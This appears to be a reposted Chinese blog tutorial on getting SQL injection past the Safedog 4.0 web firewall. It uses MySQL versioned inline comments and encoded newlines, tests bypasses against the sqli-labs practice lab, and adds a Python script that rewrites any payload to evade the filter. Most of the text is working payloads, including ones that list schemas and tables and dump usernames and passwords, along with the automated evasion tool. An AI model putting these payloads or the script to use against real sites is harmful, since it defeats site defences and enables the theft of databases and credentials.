ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

sql注入绕过安全狗4.0

2022-02-07 22:04:48  阅读:268  来源: 互联网

标签:4.0 23 union 23% re str sql 绕过 select



1.前言

该文章只进行技术分享与探讨,任何人进行非法操作与作者无关。

2.前置知识

/*!*/叫做内联注释,当!后面所接的数据库版本号时,当实际的版本等于或是高于那个字符串,应用程序就会将注释内容解释为SQL,否则就会当做注释来处理。默认的,当没有接版本号时,是会执行里面的内容的

比如版本号为5.7.26,当/*!00000xxx*/-/*!50726xxx*/里的注释内容都可以解析为sql语句执行
而>/*!50726xxx*/里的注释内容就真的被注释,失去作用。

3.绕过关键字主要思路

在关键字处使用内联注释和%23%0a(注释换行),内联注释里的版本号即使低于实际版本号有的可以绕过,有的不能绕过(可能是安全狗做了一点小过滤)
所以我们可以使用burpsuite的intruder模块检测一下哪些版本号可以绕过,这里以sqli-labs(Less-1)为例,把版本号设置为payload点
在这里插入图片描述
设置payload类型为numbers
在这里插入图片描述
然后开始重放
在这里插入图片描述
在这里插入图片描述
看到两种响应长度,就可以暂停了,有一种一定是能绕过安全狗的版本号
在这里插入图片描述
然后下面进行绕过的时候就使用那个能绕过的版本号

3.1绕过连体关键字思路

X代表关键字

X/*/A*/%23%0aX
X/*/A*/X
X/*/--A----/*/X
X/*!66666A*/%23%0aX
X/*!44444X*/
X/*!44444%23%0aX*/
/*!44444X/*!44444X*/

3.2绕过单个关键字思路

X代表关键字

/*!%23%0aX*/
/*!X%23%0a*/
/*!44444X*/
X与前面参数连在一起(不用空格隔开,这个也是绕过方法)

4.以sqli-labs(Less-1)为例,绕过安全狗

4.1拦截order by

1' order/*!%23%0aby*/ 3 %23
1' order/*!*/%23%0aby 3 %23
1' order/*/*/by 3%23
1' order/*//------/*/by 3%23
1' order/*//------/*/%23%0aby 3%23

4.2拦截union select

-1' union/*!44444%23%0aselect*/ 1,2,3 %23
-1' union/*!44444%23%0aselect 1,2,3*/ %23
-1' union/*/A/*/select 1,2,3 %23
-1' union/*!66666A*/select 1,2,3 %23

4.3拦截database()

-1' union/*!66666A*/select 1,2,/*!database%23%0a*/() %23
-1' union/*!66666A*/select 1,2,database/*!44444()*/%23
-1' union/*!66666A*/select 1,2,database/*/A*/()%23
也适用于拦截user()

4.4拦截from

-1' union/*!66666A*/select 1,2,group_concat(schema_name)from information_schema.schemata%23
-1' union/*!66666A*/select 1,2,group_concat(schema_name) /*!%23%0afrom*/ information_schema.schemata%23
-1' union/*!66666A*/select 1,2,group_concat(schema_name) /*!44444from*/ information_schema.schemata%23

4.5拦截and

-1' union/*!66666A*/select 1,2,group_concat(column_name)/*!from%23%0a*/information_schema.columns where table_name="users" /*!44444and*/table_schema="security"%23
-1' union/*!66666A*/select 1,2,group_concat(column_name)/*!from%23%0a*/information_schema.columns where table_name="users"/*!44444and%23%0a*/table_schema="security"%23

4.6查看数据库数据

查看所有数据库
-1' union/*!66666A*/select 1,2,group_concat(schema_name)from information_schema.schemata%23
查看security库下的所有表
-1' union/*!66666A*/select 1,2,group_concat(table_name)from information_schema.tables where table_schema="security" %23
查看users表的字段
-1' union/*!66666A*/select 1,2,group_concat(column_name)/*!from%23%0a*/information_schema.columns where table_name="users" /*!44444and*/table_schema="security"%23
查看users表的记录
-1' union/*!66666A*/select 1,2,group_concat(concat(username,':',password))from security.users%23

5.面向安全狗4.0的py脚本

import re
# 如果被拦截在这更换绕过方法
def allBypass(sql):
    """
    过滤了order by,union select,database,user,version,from,and,or,updatexml,extractvalue,=,空格
    \b为了精准匹配整个单词,而不是匹配某个单词的一部分
    比如我要匹配and这个逻辑符,有一个单词rand,不加\b就会匹配上rand中的一部分,从而导致替换错误,加了\b就不会匹配
    re.I 忽略大小写,如果不能绕过可能是version出问题,上面标题3有解决办法
    """
    version = '44444'
    str = re.sub(r'\border by\b','order/*!%23%0aby*/',sql,flags=re.I)
    str = re.sub(r'\bunion select\b','union/*!'+version+'%23%0aselect*/',str,flags=re.I)
    str = re.sub(r'\bdatabase[()]{2}','/*!database%23%0a*/()',str,flags=re.I)
    str = re.sub(r'\buser[()]{2}','/*!user%23%0a*/()',str,flags=re.I)
    str = re.sub(r'\bversion[()]{2}','/*!'+version+'version*/()',str,flags=re.I)
    str = re.sub(r'\bfrom\b','/*!%23%0afrom*/',str,flags=re.I)
    str = re.sub(r'\band\b','/*!'+version+'and%23%0a*/',str,flags=re.I)
    str = re.sub(r'\bor\b','/*!'+version+'or%23%0a*/',str,flags=re.I)
    str = re.sub(r'\bupdatexml\b','/*!updatexml%23%0a*/',str,flags=re.I)
    str = re.sub(r'\bextractvalue\b','/*!extractvalue%23%0a*/',str,flags=re.I)
    str = re.sub(r'=','%0alike%0a',str,flags=re.I)
    # 将空格替换为%0a
    # str = re.sub(r' ','%0a',str,flags=re.I)
    return str

# 把payload放到下面
sql = """

1' and gtid_subset(concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) %23

"""
# 将sql变量值改装
sql = sql.strip()
sql = allBypass(sql)
print(sql)

6.sqli-labs无安全狗全通关payload

https://blog.csdn.net/weixin_43623271/article/details/122801320
可以把上面网站的payload拿去跑一遍脚本,然后提交过狗。

标签:4.0,23,union,23%,re,str,sql,绕过,select
来源: https://blog.csdn.net/weixin_43623271/article/details/122814962

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有